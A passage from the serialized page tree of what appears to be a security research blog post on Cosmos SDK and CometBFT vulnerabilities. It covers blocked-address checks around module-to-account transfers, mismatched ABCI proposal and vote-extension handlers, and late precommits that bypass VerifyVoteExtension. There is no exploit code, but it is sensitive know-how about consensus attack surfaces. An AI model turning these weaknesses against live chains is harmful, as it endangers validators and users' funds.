%w\"",{"type":23,"tag":314,"props":81505,"children":81506},{"style":338},[81507],{"type":28,"value":778},{"type":23,"tag":314,"props":81509,"children":81510},{"style":360},[81511],{"type":28,"value":47670},{"type":23,"tag":314,"props":81513,"children":81514},{"style":338},[81515],{"type":28,"value":2414},{"type":23,"tag":314,"props":81517,"children":81518},{"class":316,"line":1743},[81519],{"type":23,"tag":314,"props":81520,"children":81521},{"style":338},[81522],{"type":28,"value":2602},{"type":23,"tag":314,"props":81524,"children":81525},{"class":316,"line":1751},[81526],{"type":23,"tag":314,"props":81527,"children":81528},{"emptyLinePlaceholder":18},[81529],{"type":28,"value":1088},{"type":23,"tag":314,"props":81531,"children":81532},{"class":316,"line":1791},[81533,81537,81542,81546,81551,81555,81559,81563,81568,81572,81577],{"type":23,"tag":314,"props":81534,"children":81535},{"style":2284},[81536],{"type":28,"value":2527},{"type":23,"tag":314,"props":81538,"children":81539},{"style":360},[81540],{"type":28,"value":81541}," bytes",{"type":23,"tag":314,"props":81543,"children":81544},{"style":338},[81545],{"type":28,"value":282},{"type":23,"tag":314,"props":81547,"children":81548},{"style":332},[81549],{"type":28,"value":81550},"Equal",{"type":23,"tag":314,"props":81552,"children":81553},{"style":338},[81554],{"type":28,"value":341},{"type":23,"tag":314,"props":81556,"children":81557},{"style":360},[81558],{"type":28,"value":81380},{"type":23,"tag":314,"props":81560,"children":81561},{"style":338},[81562],{"type":28,"value":282},{"type":23,"tag":314,"props":81564,"children":81565},{"style":332},[81566],{"type":28,"value":81567},"TokenBytes",{"type":23,"tag":314,"props":81569,"children":81570},{"style":338},[81571],{"type":28,"value":17613},{"type":23,"tag":314,"props":81573,"children":81574},{"style":360},[81575],{"type":28,"value":81576},"sourceBTCToken",{"type":23,"tag":314,"props":81578,"children":81579},{"style":338},[81580],{"type":28,"value":367},{"type":23,"tag":314,"props":81582,"children":81583},{"class":316,"line":1805},[81584,81589,81593,81597,81601,81606,81610,81614,81618,81622,81626,81630,81634,81638],{"type":23,"tag":314,"props":81585,"children":81586},{"style":360},[81587],{"type":28,"value":81588}," err",{"type":23,"tag":314,"props":81590,"children":81591},{"style":354},[81592],{"type":28,"value":1237},{"type":23,"tag":314,"props":81594,"children":81595},{"style":360},[81596],{"type":28,"value":80508},{"type":23,"tag":314,"props":81598,"children":81599},{"style":338},[81600],{"type":28,"value":282},{"type":23,"tag":314,"props":81602,"children":81603},{"style":332},[81604],{"type":28,"value":81605},"mintBTC",{"type":23,"tag":314,"props":81607,"children":81608},{"style":338},[81609],{"type":28,"value":341},{"type":23,"tag":314,"props":81611,"children":81612},{"style":360},[81613],{"type":28,"value":19518},{"type":23,"tag":314,"props":81615,"children":81616},{"style":338},[81617],{"type":28,"value":778},{"type":23,"tag":314,"props":81619,"children":81620},{"style":360},[81621],{"type":28,"value":80903},{"type":23,"tag":314,"props":81623,"children":81624},{"style":338},[81625],{"type":28,"value":778},{"type":23,"tag":314,"props":81627,"children":81628},{"style":360},[81629],{"type":28,"value":81380},{"type":23,"tag":314,"props":81631,"children":81632},{"style":338},[81633],{"type":28,"value":282},{"type":23,"tag":314,"props":81635,"children":81636},{"style":360},[81637],{"type":28,"value":78307},{"type":23,"tag":314,"props":81639,"children":81640},{"style":338},[81641],{"type":28,"value":2414},{"type":23,"tag":314,"props":81643,"children":81644},{"class":316,"line":1818},[81645,81649,81653,81657,81661],{"type":23,"tag":314,"props":81646,"children":81647},{"style":2284},[81648],{"type":28,"value":58052},{"type":23,"tag":314,"props":81650,"children":81651},{"style":360},[81652],{"type":28,"value":47771},{"type":23,"tag":314,"props":81654,"children":81655},{"style":354},[81656],{"type":28,"value":63639},{"type":23,"tag":314,"props":81658,"children":81659},{"style":321},[81660],{"type":28,"value":81170},{"type":23,"tag":314,"props":81662,"children":81663},{"style":338},[81664],{"type":28,"value":1449},{"type":23,"tag":314,"props":81666,"children":81667},{"class":316,"line":1873},[81668,81672,81676,81680,81684],{"type":23,"tag":314,"props":81669,"children":81670},{"style":2284},[81671],{"type":28,"value":59980},{"type":23,"tag":314,"props":81673,"children":81674},{"style":360},[81675],{"type":28,"value":81486},{"type":23,"tag":314,"props":81677,"children":81678},{"style":338},[81679],{"type":28,"value":282},{"type":23,"tag":314,"props":81681,"children":81682},{"style":332},[81683],{"type":28,"value":81203},{"type":23,"tag":314,"props":81685,"children":81686},{"style":338},[81687],{"type":28,"value":2719},{"type":23,"tag":314,"props":81689,"children":81690},{"class":316,"line":1891},[81691,81696],{"type":23,"tag":314,"props":81692,"children":81693},{"style":1245},[81694],{"type":28,"value":81695}," \"failed to mint BTC for event %v: %w\"",{"type":23,"tag":314,"props":81697,"children":81698},{"style":338},[81699],{"type":28,"value":1870},{"type":23,"tag":314,"props":81701,"children":81702},{"class":316,"line":1899},[81703,81708,81712,81717],{"type":23,"tag":314,"props":81704,"children":81705},{"style":360},[81706],{"type":28,"value":81707}," event",{"type":23,"tag":314,"props":81709,"children":81710},{"style":338},[81711],{"type":28,"value":282},{"type":23,"tag":314,"props":81713,"children":81714},{"style":360},[81715],{"type":28,"value":81716},"Sequence",{"type":23,"tag":314,"props":81718,"children":81719},{"style":338},[81720],{"type":28,"value":1870},{"type":23,"tag":314,"props":81722,"children":81723},{"class":316,"line":1944},[81724,81729],{"type":23,"tag":314,"props":81725,"children":81726},{"style":360},[81727],{"type":28,"value":81728}," err",{"type":23,"tag":314,"props":81730,"children":81731},{"style":338},[81732],{"type":28,"value":1870},{"type":23,"tag":314,"props":81734,"children":81735},{"class":316,"line":2008},[81736],{"type":23,"tag":314,"props":81737,"children":81738},{"style":338},[81739],{"type":28,"value":81740}," )\n",{"type":23,"tag":314,"props":81742,"children":81743},{"class":316,"line":2043},[81744],{"type":23,"tag":314,"props":81745,"children":81746},{"style":338},[81747],{"type":28,"value":58136},{"type":23,"tag":314,"props":81749,"children":81750},{"class":316,"line":22803},[81751,81755,81759],{"type":23,"tag":314,"props":81752,"children":81753},{"style":338},[81754],{"type":28,"value":2565},{"type":23,"tag":314,"props":81756,"children":81757},{"style":2284},[81758],{"type":28,"value":2570},{"type":23,"tag":314,"props":81760,"children":81761},{"style":338},[81762],{"type":28,"value":1449},{"type":23,"tag":314,"props":81764,"children":81765},{"class":316,"line":22845},[81766],{"type":23,"tag":314,"props":81767,"children":81768},{"style":354},[81769],{"type":28,"value":81770}," ...\n",{"type":23,"tag":314,"props":81772,"children":81773},{"class":316,"line":22878},[81774],{"type":23,"tag":314,"props":81775,"children":81776},{"style":338},[81777],{"type":28,"value":2602},{"type":23,"tag":314,"props":81779,"children":81780},{"class":316,"line":22886},[81781],{"type":23,"tag":314,"props":81782,"children":81783},{"style":338},[81784],{"type":28,"value":2610},{"type":23,"tag":314,"props":81786,"children":81787},{"class":316,"line":22894},[81788],{"type":23,"tag":314,"props":81789,"children":81790},{"style":354},[81791],{"type":28,"value":19577},{"type":23,"tag":314,"props":81793,"children":81794},{"class":316,"line":22903},[81795],{"type":23,"tag":314,"props":81796,"children":81797},{"style":338},[81798],{"type":28,"value":386},{"type":23,"tag":314,"props":81800,"children":81801},{"class":316,"line":22979},[81802],{"type":23,"tag":314,"props":81803,"children":81804},{"emptyLinePlaceholder":18},[81805],{"type":28,"value":1088},{"type":23,"tag":314,"props":81807,"children":81808},{"class":316,"line":23012},[81809,81813,81817,81821,81825,81829,81833],{"type":23,"tag":314,"props":81810,"children":81811},{"style":321},[81812],{"type":28,"value":75553},{"type":23,"tag":314,"props":81814,"children":81815},{"style":338},[81816],{"type":28,"value":2324},{"type":23,"tag":314,"props":81818,"children":81819},{"style":360},[81820],{"type":28,"value":80380},{"type":23,"tag":314,"props":81822,"children":81823},{"style":2674},[81824],{"type":28,"value":79197},{"type":23,"tag":314,"props":81826,"children":81827},{"style":338},[81828],{"type":28,"value":2343},{"type":23,"tag":314,"props":81830,"children":81831},{"style":332},[81832],{"type":28,"value":81605},{"type":23,"tag":314,"props":81834,"children":81835},{"style":338},[81836],{"type":28,"value":2719},{"type":23,"tag":314,"props":81838,"children":81839},{"class":316,"line":23020},[81840,81844,81848,81852,81856],{"type":23,"tag":314,"props":81841,"children":81842},{"style":360},[81843],{"type":28,"value":19461},{"type":23,"tag":314,"props":81845,"children":81846},{"style":2674},[81847],{"type":28,"value":77893},{"type":23,"tag":314,"props":81849,"children":81850},{"style":338},[81851],{"type":28,"value":282},{"type":23,"tag":314,"props":81853,"children":81854},{"style":2674},[81855],{"type":28,"value":75602},{"type":23,"tag":314,"props":81857,"children":81858},{"style":338},[81859],{"type":28,"value":1870},{"type":23,"tag":314,"props":81861,"children":81862},{"class":316,"line":23028},[81863,81868,81872,81876,81881],{"type":23,"tag":314,"props":81864,"children":81865},{"style":360},[81866],{"type":28,"value":81867}," recipient",{"type":23,"tag":314,"props":81869,"children":81870},{"style":2674},[81871],{"type":28,"value":77893},{"type":23,"tag":314,"props":81873,"children":81874},{"style":338},[81875],{"type":28,"value":282},{"type":23,"tag":314,"props":81877,"children":81878},{"style":2674},[81879],{"type":28,"value":81880},"AccAddress",{"type":23,"tag":314,"props":81882,"children":81883},{"style":338},[81884],{"type":28,"value":1870},{"type":23,"tag":314,"props":81886,"children":81887},{"class":316,"line":23065},[81888,81892,81897,81901,81906],{"type":23,"tag":314,"props":81889,"children":81890},{"style":360},[81891],{"type":28,"value":60834},{"type":23,"tag":314,"props":81893,"children":81894},{"style":2674},[81895],{"type":28,"value":81896}," math",{"type":23,"tag":314,"props":81898,"children":81899},{"style":338},[81900],{"type":28,"value":282},{"type":23,"tag":314,"props":81902,"children":81903},{"style":2674},[81904],{"type":28,"value":81905},"Int",{"type":23,"tag":314,"props":81907,"children":81908},{"style":338},[81909],{"type":28,"value":1870},{"type":23,"tag":314,"props":81911,"children":81912},{"class":316,"line":23078},[81913,81917,81921],{"type":23,"tag":314,"props":81914,"children":81915},{"style":338},[81916],{"type":28,"value":2343},{"type":23,"tag":314,"props":81918,"children":81919},{"style":2674},[81920],{"type":28,"value":14106},{"type":23,"tag":314,"props":81922,"children":81923},{"style":338},[81924],{"type":28,"value":1449},{"type":23,"tag":314,"props":81926,"children":81927},{"class":316,"line":23091},[81928],{"type":23,"tag":314,"props":81929,"children":81930},{"style":354},[81931],{"type":28,"value":19577},{"type":23,"tag":314,"props":81933,"children":81934},{"class":316,"line":23104},[81935,81940,81944,81948,81952,81957,81961,81965],{"type":23,"tag":314,"props":81936,"children":81937},{"style":360},[81938],{"type":28,"value":81939}," err",{"type":23,"tag":314,"props":81941,"children":81942},{"style":354},[81943],{"type":28,"value":1237},{"type":23,"tag":314,"props":81945,"children":81946},{"style":360},[81947],{"type":28,"value":80508},{"type":23,"tag":314,"props":81949,"children":81950},{"style":338},[81951],{"type":28,"value":282},{"type":23,"tag":314,"props":81953,"children":81954},{"style":360},[81955],{"type":28,"value":81956},"bankKeeper",{"type":23,"tag":314,"props":81958,"children":81959},{"style":338},[81960],{"type":28,"value":282},{"type":23,"tag":314,"props":81962,"children":81963},{"style":332},[81964],{"type":28,"value":80895},{"type":23,"tag":314,"props":81966,"children":81967},{"style":338},[81968],{"type":28,"value":2719},{"type":23,"tag":314,"props":81970,"children":81971},{"class":316,"line":23158},[81972,81976],{"type":23,"tag":314,"props":81973,"children":81974},{"style":360},[81975],{"type":28,"value":25432},{"type":23,"tag":314,"props":81977,"children":81978},{"style":338},[81979],{"type":28,"value":1870},{"type":23,"tag":314,"props":81981,"children":81982},{"class":316,"line":23167},[81983,81988,81992,81997],{"type":23,"tag":314,"props":81984,"children":81985},{"style":360},[81986],{"type":28,"value":81987}," types",{"type":23,"tag":314,"props":81989,"children":81990},{"style":338},[81991],{"type":28,"value":282},{"type":23,"tag":314,"props":81993,"children":81994},{"style":360},[81995],{"type":28,"value":81996},"ModuleName",{"type":23,"tag":314,"props":81998,"children":81999},{"style":338},[82000],{"type":28,"value":1870},{"type":23,"tag":314,"props":82002,"children":82003},{"class":316,"line":31528},[82004,82008],{"type":23,"tag":314,"props":82005,"children":82006},{"style":360},[82007],{"type":28,"value":81405},{"type":23,"tag":314,"props":82009,"children":82010},{"style":338},[82011],{"type":28,"value":1870},{"type":23,"tag":314,"props":82013,"children":82014},{"class":316,"line":31549},[82015,82020],{"type":23,"tag":314,"props":82016,"children":82017},{"style":360},[82018],{"type":28,"value":82019}," coins",{"type":23,"tag":314,"props":82021,"children":82022},{"style":338},[82023],{"type":28,"value":1870},{"type":23,"tag":314,"props":82025,"children":82026},{"class":316,"line":80203},[82027],{"type":23,"tag":314,"props":82028,"children":82029},{"style":338},[82030],{"type":28,"value":23164},{"type":23,"tag":314,"props":82032,"children":82033},{"class":316,"line":80216},[82034,82038,82042,82046,82050],{"type":23,"tag":314,"props":82035,"children":82036},{"style":2284},[82037],{"type":28,"value":11527},{"type":23,"tag":314,"props":82039,"children":82040},{"style":360},[82041],{"type":28,"value":47771},{"type":23,"tag":314,"props":82043,"children":82044},{"style":354},[82045],{"type":28,"value":63639},{"type":23,"tag":314,"props":82047,"children":82048},{"style":321},[82049],{"type":28,"value":81170},{"type":23,"tag":314,"props":82051,"children":82052},{"style":338},[82053],{"type":28,"value":1449},{"type":23,"tag":314,"props":82055,"children":82056},{"class":316,"line":80224},[82057,82061,82065,82069,82073,82077,82082,82086,82090],{"type":23,"tag":314,"props":82058,"children":82059},{"style":2284},[82060],{"type":28,"value":14985},{"type":23,"tag":314,"props":82062,"children":82063},{"style":360},[82064],{"type":28,"value":81486},{"type":23,"tag":314,"props":82066,"children":82067},{"style":338},[82068],{"type":28,"value":282},{"type":23,"tag":314,"props":82070,"children":82071},{"style":332},[82072],{"type":28,"value":81203},{"type":23,"tag":314,"props":82074,"children":82075},{"style":338},[82076],{"type":28,"value":341},{"type":23,"tag":314,"props":82078,"children":82079},{"style":1245},[82080],{"type":28,"value":82081},"\"failed to send coins: %w\"",{"type":23,"tag":314,"props":82083,"children":82084},{"style":338},[82085],{"type":28,"value":778},{"type":23,"tag":314,"props":82087,"children":82088},{"style":360},[82089],{"type":28,"value":47670},{"type":23,"tag":314,"props":82091,"children":82092},{"style":338},[82093],{"type":28,"value":2414},{"type":23,"tag":314,"props":82095,"children":82096},{"class":316,"line":80232},[82097],{"type":23,"tag":314,"props":82098,"children":82099},{"style":338},[82100],{"type":28,"value":2610},{"type":23,"tag":314,"props":82102,"children":82103},{"class":316,"line":80240},[82104],{"type":23,"tag":314,"props":82105,"children":82106},{"style":354},[82107],{"type":28,"value":19577},{"type":23,"tag":314,"props":82109,"children":82110},{"class":316,"line":80280},[82111],{"type":23,"tag":314,"props":82112,"children":82113},{"style":338},[82114],{"type":28,"value":386},{"type":23,"tag":304,"props":82116,"children":82118},{"code":82117,"language":75417,"meta":7,"className":75418,"style":7},"func (k BaseKeeper) SendCoinsFromModuleToAccount(\n ctx context.Context, senderModule string, recipientAddr sdk.AccAddress, amt sdk.Coins,\n) error {\n ...\n if k.BlockedAddr(recipientAddr) {\n return errorsmod.Wrapf(sdkerrors.ErrUnauthorized, \"%s is not allowed to receive funds\", recipientAddr)\n }\n ...\n}\n",[82119],{"type":23,"tag":94,"props":82120,"children":82121},{"__ignoreMap":7},[82122,82154,82233,82248,82256,82287,82345,82352,82359],{"type":23,"tag":314,"props":82123,"children":82124},{"class":316,"line":317},[82125,82129,82133,82137,82142,82146,82150],{"type":23,"tag":314,"props":82126,"children":82127},{"style":321},[82128],{"type":28,"value":75553},{"type":23,"tag":314,"props":82130,"children":82131},{"style":338},[82132],{"type":28,"value":2324},{"type":23,"tag":314,"props":82134,"children":82135},{"style":360},[82136],{"type":28,"value":80380},{"type":23,"tag":314,"props":82138,"children":82139},{"style":2674},[82140],{"type":28,"value":82141},"BaseKeeper",{"type":23,"tag":314,"props":82143,"children":82144},{"style":338},[82145],{"type":28,"value":2343},{"type":23,"tag":314,"props":82147,"children":82148},{"style":332},[82149],{"type":28,"value":80895},{"type":23,"tag":314,"props":82151,"children":82152},{"style":338},[82153],{"type":28,"value":2719},{"type":23,"tag":314,"props":82155,"children":82156},{"class":316,"line":370},[82157,82161,82165,82169,82173,82177,82182,82186,82190,82195,82199,82203,82207,82211,82216,82220,82224,82229],{"type":23,"tag":314,"props":82158,"children":82159},{"style":360},[82160],{"type":28,"value":25089},{"type":23,"tag":314,"props":82162,"children":82163},{"style":2674},[82164],{"type":28,"value":75593},{"type":23,"tag":314,"props":82166,"children":82167},{"style":338},[82168],{"type":28,"value":282},{"type":23,"tag":314,"props":82170,"children":82171},{"style":2674},[82172],{"type":28,"value":75602},{"type":23,"tag":314,"props":82174,"children":82175},{"style":338},[82176],{"type":28,"value":778},{"type":23,"tag":314,"props":82178,"children":82179},{"style":360},[82180],{"type":28,"value":82181},"senderModule",{"type":23,"tag":314,"props":82183,"children":82184},{"style":2674},[82185],{"type":28,"value":35278},{"type":23,"tag":314,"props":82187,"children":82188},{"style":338},[82189],{"type":28,"value":778},{"type":23,"tag":314,"props":82191,"children":82192},{"style":360},[82193],{"type":28,"value":82194},"recipientAddr",{"type":23,"tag":314,"props":82196,"children":82197},{"style":2674},[82198],{"type":28,"value":77893},{"type":23,"tag":314,"props":82200,"children":82201},{"style":338},[82202],{"type":28,"value":282},{"type":23,"tag":314,"props":82204,"children":82205},{"style":2674},[82206],{"type":28,"value":81880},{"type":23,"tag":314,"props":82208,"children":82209},{"style":338},[82210],{"type":28,"value":778},{"type":23,"tag":314,"props":82212,"children":82213},{"style":360},[82214],{"type":28,"value":82215},"amt",{"type":23,"tag":314,"props":82217,"children":82218},{"style":2674},[82219],{"type":28,"value":77893},{"type":23,"tag":314,"props":82221,"children":82222},{"style":338},[82223],{"type":28,"value":282},{"type":23,"tag":314,"props":82225,"children":82226},{"style":2674},[82227],{"type":28,"value":82228},"Coins",{"type":23,"tag":314,"props":82230,"children":82231},{"style":338},[82232],{"type":28,"value":1870},{"type":23,"tag":314,"props":82234,"children":82235},{"class":316,"line":380},[82236,82240,82244],{"type":23,"tag":314,"props":82237,"children":82238},{"style":338},[82239],{"type":28,"value":2343},{"type":23,"tag":314,"props":82241,"children":82242},{"style":2674},[82243],{"type":28,"value":14106},{"type":23,"tag":314,"props":82245,"children":82246},{"style":338},[82247],{"type":28,"value":1449},{"type":23,"tag":314,"props":82249,"children":82250},{"class":316,"line":1091},[82251],{"type":23,"tag":314,"props":82252,"children":82253},{"style":354},[82254],{"type":28,"value":82255}," ...\n",{"type":23,"tag":314,"props":82257,"children":82258},{"class":316,"line":1141},[82259,82263,82267,82271,82275,82279,82283],{"type":23,"tag":314,"props":82260,"children":82261},{"style":2284},[82262],{"type":28,"value":15029},{"type":23,"tag":314,"props":82264,"children":82265},{"style":360},[82266],{"type":28,"value":80508},{"type":23,"tag":314,"props":82268,"children":82269},{"style":338},[82270],{"type":28,"value":282},{"type":23,"tag":314,"props":82272,"children":82273},{"style":332},[82274],{"type":28,"value":80911},{"type":23,"tag":314,"props":82276,"children":82277},{"style":338},[82278],{"type":28,"value":341},{"type":23,"tag":314,"props":82280,"children":82281},{"style":360},[82282],{"type":28,"value":82194},{"type":23,"tag":314,"props":82284,"children":82285},{"style":338},[82286],{"type":28,"value":367},{"type":23,"tag":314,"props":82288,"children":82289},{"class":316,"line":1173},[82290,82294,82299,82303,82307,82311,82315,82319,82324,82328,82333,82337,82341],{"type":23,"tag":314,"props":82291,"children":82292},{"style":2284},[82293],{"type":28,"value":38446},{"type":23,"tag":314,"props":82295,"children":82296},{"style":360},[82297],{"type":28,"value":82298}," errorsmod",{"type":23,"tag":314,"props":82300,"children":82301},{"style":338},[82302],{"type":28,"value":282},{"type":23,"tag":314,"props":82304,"children":82305},{"style":332},[82306],{"type":28,"value":80162},{"type":23,"tag":314,"props":82308,"children":82309},{"style":338},[82310],{"type":28,"value":341},{"type":23,"tag":314,"props":82312,"children":82313},{"style":360},[82314],{"type":28,"value":79824},{"type":23,"tag":314,"props":82316,"children":82317},{"style":338},[82318],{"type":28,"value":282},{"type":23,"tag":314,"props":82320,"children":82321},{"style":360},[82322],{"type":28,"value":82323},"ErrUnauthorized",{"type":23,"tag":314,"props":82325,"children":82326},{"style":338},[82327],{"type":28,"value":778},{"type":23,"tag":314,"props":82329,"children":82330},{"style":1245},[82331],{"type":28,"value":82332},"\"%s is not allowed to receive funds\"",{"type":23,"tag":314,"props":82334,"children":82335},{"style":338},[82336],{"type":28,"value":778},{"type":23,"tag":314,"props":82338,"children":82339},{"style":360},[82340],{"type":28,"value":82194},{"type":23,"tag":314,"props":82342,"children":82343},{"style":338},[82344],{"type":28,"value":2414},{"type":23,"tag":314,"props":82346,"children":82347},{"class":316,"line":1208},[82348],{"type":23,"tag":314,"props":82349,"children":82350},{"style":338},[82351],{"type":28,"value":8845},{"type":23,"tag":314,"props":82353,"children":82354},{"class":316,"line":1216},[82355],{"type":23,"tag":314,"props":82356,"children":82357},{"style":354},[82358],{"type":28,"value":82255},{"type":23,"tag":314,"props":82360,"children":82361},{"class":316,"line":1301},[82362],{"type":23,"tag":314,"props":82363,"children":82364},{"style":338},[82365],{"type":28,"value":386},{"type":23,"tag":24,"props":82367,"children":82368},{},[82369,82371,82378],{"type":28,"value":82370},"This shows even well-known bug classes still resurface from time to time due to unforeseen invariant violations. Additional examples include ",{"type":23,"tag":31,"props":82372,"children":82375},{"href":82373,"rel":82374},"https://hackerone.com/reports/3018307",[35],[82376],{"type":28,"value":82377},"improper decimal handling in the group module",{"type":28,"value":282},{"type":23,"tag":61,"props":82380,"children":82382},{"id":82381},"same-same-but-different",[82383],{"type":28,"value":82384},"Same, Same... But Different",{"type":23,"tag":24,"props":82386,"children":82387},{},[82388,82390,82396,82397,82403,82404,82410,82411,82417],{"type":28,"value":82389},"Cosmos exposes several consensus-level interfaces, such as ",{"type":23,"tag":94,"props":82391,"children":82393},{"className":82392},[],[82394],{"type":28,"value":82395},"PrepareProposal",{"type":28,"value":778},{"type":23,"tag":94,"props":82398,"children":82400},{"className":82399},[],[82401],{"type":28,"value":82402},"ProcessProposal",{"type":28,"value":778},{"type":23,"tag":94,"props":82405,"children":82407},{"className":82406},[],[82408],{"type":28,"value":82409},"ExtendVote",{"type":28,"value":5743},{"type":23,"tag":94,"props":82412,"children":82414},{"className":82413},[],[82415],{"type":28,"value":82416},"VerifyVoteExtension",{"type":28,"value":82418},". These ABCI methods allow developers to customize how blocks are constructed, as well as inject supplementary data into each block.",{"type":23,"tag":24,"props":82420,"children":82421},{},[82422],{"type":28,"value":82423},"Two of the best-known attack surfaces are",{"type":23,"tag":84,"props":82425,"children":82426},{},[82427,82456],{"type":23,"tag":88,"props":82428,"children":82429},{},[82430,82435,82436,82441,82443,82448,82449,82454],{"type":23,"tag":94,"props":82431,"children":82433},{"className":82432},[],[82434],{"type":28,"value":82395},{"type":28,"value":2324},{"type":23,"tag":94,"props":82437,"children":82439},{"className":82438},[],[82440],{"type":28,"value":82409},{"type":28,"value":82442},") outputs being rejected due to ",{"type":23,"tag":94,"props":82444,"children":82446},{"className":82445},[],[82447],{"type":28,"value":82402},{"type":28,"value":2324},{"type":23,"tag":94,"props":82450,"children":82452},{"className":82451},[],[82453],{"type":28,"value":82416},{"type":28,"value":82455},") over-validating, resulting in liveness failures.",{"type":23,"tag":88,"props":82457,"children":82458},{},[82459,82461,82466,82467,82472,82474,82479,82480,82485],{"type":28,"value":82460},"Malicious proposals and vote extensions not created through the ",{"type":23,"tag":94,"props":82462,"children":82464},{"className":82463},[],[82465],{"type":28,"value":82395},{"type":28,"value":2324},{"type":23,"tag":94,"props":82468,"children":82470},{"className":82469},[],[82471],{"type":28,"value":82409},{"type":28,"value":82473},") are accepted due to ",{"type":23,"tag":94,"props":82475,"children":82477},{"className":82476},[],[82478],{"type":28,"value":82402},{"type":28,"value":2324},{"type":23,"tag":94,"props":82481,"children":82483},{"className":82482},[],[82484],{"type":28,"value":82416},{"type":28,"value":82486},") under-validating.",{"type":23,"tag":24,"props":82488,"children":82489},{},[82490],{"type":28,"value":82491},"In essence, any difference in pairs of handlers will likely lead to security issues.",{"type":23,"tag":24,"props":82493,"children":82494},{},[82495,82497,82503,82505,82510],{"type":28,"value":82496},"There are also a few lesser known variants of these issues. One instance is the validation of ",{"type":23,"tag":94,"props":82498,"children":82500},{"className":82499},[],[82501],{"type":28,"value":82502},"VoteExtensions",{"type":28,"value":82504}," within ",{"type":23,"tag":94,"props":82506,"children":82508},{"className":82507},[],[82509],{"type":28,"value":82395},{"type":28,"value":82511},". To provide context, we start with a primer on the CometBTF consensus and vote extensions.",{"type":23,"tag":24,"props":82513,"children":82514},{},[82515,82517,82522,82524,82529],{"type":28,"value":82516},"Consensus starts with a leader creating a proposal and then broadcasting it to each validator. Validators then proceed to vote on whether or not to accept the proposal. During the voting phase, ",{"type":23,"tag":94,"props":82518,"children":82520},{"className":82519},[],[82521],{"type":28,"value":82409},{"type":28,"value":82523}," is called to attach additional data to the votes. Once a validator collects enough valid votes that pass ",{"type":23,"tag":94,"props":82525,"children":82527},{"className":82526},[],[82528],{"type":28,"value":82416},{"type":28,"value":82530},", a proposal is considered accepted and can be committed. After committing the proposal, a new leader starts to create the next proposal, bringing us back to the point where we started.",{"type":23,"tag":24,"props":82532,"children":82533},{},[82534,82536,82541],{"type":28,"value":82535},"So, where are the attached vote extension data used? It turns out a leader should include the vote extensions of the previous consensus round in its proposal. It might be tempting to conclude that all vote extensions an honest leader accepted have passed the ",{"type":23,"tag":94,"props":82537,"children":82539},{"className":82538},[],[82540],{"type":28,"value":82416},{"type":28,"value":82542}," check and are therefore valid. Thus, we can directly inject all vote extensions into our proposal.",{"type":23,"tag":24,"props":82544,"children":82545},{},[82546,82548,82553,82555,82561],{"type":28,"value":82547},"Unfortunately, CometBTF directly accepts late precommits without passing them through ",{"type":23,"tag":94,"props":82549,"children":82551},{"className":82550},[],[82552],{"type":28,"value":82416},{"type":28,"value":82554},". This exposes a time window where Byzantine validators can smuggle malicious vote into the next leader's cache, luring the leader into including invalid vote extensions into its ",{"type":23,"tag":94,"props":82556,"children":82558},{"className":82557},[],[82559],{"type":28,"value":82560},"Proposal",{"type":28,"value":282},{"type":23,"tag":304,"props":82563,"children":82565},{"code":82564,"language":75417,"meta":7,"className":75418,"style":7},"func (cs *State) addVote(vote *types.Vote, peerID p2p.ID) (added bool, err error) {\n ...\n\n // A precommit for the previous height?\n // These come in while we wait timeoutCommit\n if vote.Height+1 == cs.Height && vote.Type == types.PrecommitType {\n ...\n // Late precommits are not checked by VerifyVoteExtension\n added, err = cs.LastCommit.AddVote(vote)\n ...\n return added, err\n }\n extEnabled := cs.state.ConsensusParams.Feature.VoteExtensionsEnabled(vote.Height)\n if extEnabled {\n ...\n if vote.Type == types.PrecommitType && !vote.BlockID.IsNil() &&\n !bytes.Equal(vote.ValidatorAddress, myAddr) { // Skip the VerifyVoteExtension call if the vote was issued by this validator.\n ...\n err := cs.blockExec.VerifyVoteExtension(context.TODO(), vote)\n ...\n }\n } else if {\n ...\n }\n ...\n}\n",[82566],{"type":23,"tag":94,"props":82567,"children":82568},{"__ignoreMap":7},[82569,82681,82688,82695,82703,82711,82795,82802,82810,82864,82871,82892,82899,82971,82987,82994,83068,83124,83131,83193,83200,83207,83226,83233,83240,83247],{"type":23,"tag":314,"props":82570,"children":82571},{"class":316,"line":317},[82572,82576,82580,82585,82589,82594,82598,82603,82607,82612,82616,82620,82624,82629,82633,82638,82643,82647,82652,82656,82661,82665,82669,82673,82677],{"type":23,"tag":314,"props":82573,"children":82574},{"style":321},[82575],{"type":28,"value":75553},{"type":23,"tag":314,"props":82577,"children":82578},{"style":338},[82579],{"type":28,"value":2324},{"type":23,"tag":314,"props":82581,"children":82582},{"style":360},[82583],{"type":28,"value":82584},"cs ",{"type":23,"tag":314,"props":82586,"children":82587},{"style":354},[82588],{"type":28,"value":256},{"type":23,"tag":314,"props":82590,"children":82591},{"style":2674},[82592],{"type":28,"value":82593},"State",{"type":23,"tag":314,"props":82595,"children":82596},{"style":338},[82597],{"type":28,"value":2343},{"type":23,"tag":314,"props":82599,"children":82600},{"style":332},[82601],{"type":28,"value":82602},"addVote",{"type":23,"tag":314,"props":82604,"children":82605},{"style":338},[82606],{"type":28,"value":341},{"type":23,"tag":314,"props":82608,"children":82609},{"style":360},[82610],{"type":28,"value":82611},"vote",{"type":23,"tag":314,"props":82613,"children":82614},{"style":354},[82615],{"type":28,"value":357},{"type":23,"tag":314,"props":82617,"children":82618},{"style":2674},[82619],{"type":28,"value":5012},{"type":23,"tag":314,"props":82621,"children":82622},{"style":338},[82623],{"type":28,"value":282},{"type":23,"tag":314,"props":82625,"children":82626},{"style":2674},[82627],{"type":28,"value":82628},"Vote",{"type":23,"tag":314,"props":82630,"children":82631},{"style":338},[82632],{"type":28,"value":778},{"type":23,"tag":314,"props":82634,"children":82635},{"style":360},[82636],{"type":28,"value":82637},"peerID",{"type":23,"tag":314,"props":82639,"children":82640},{"style":2674},[82641],{"type":28,"value":82642}," 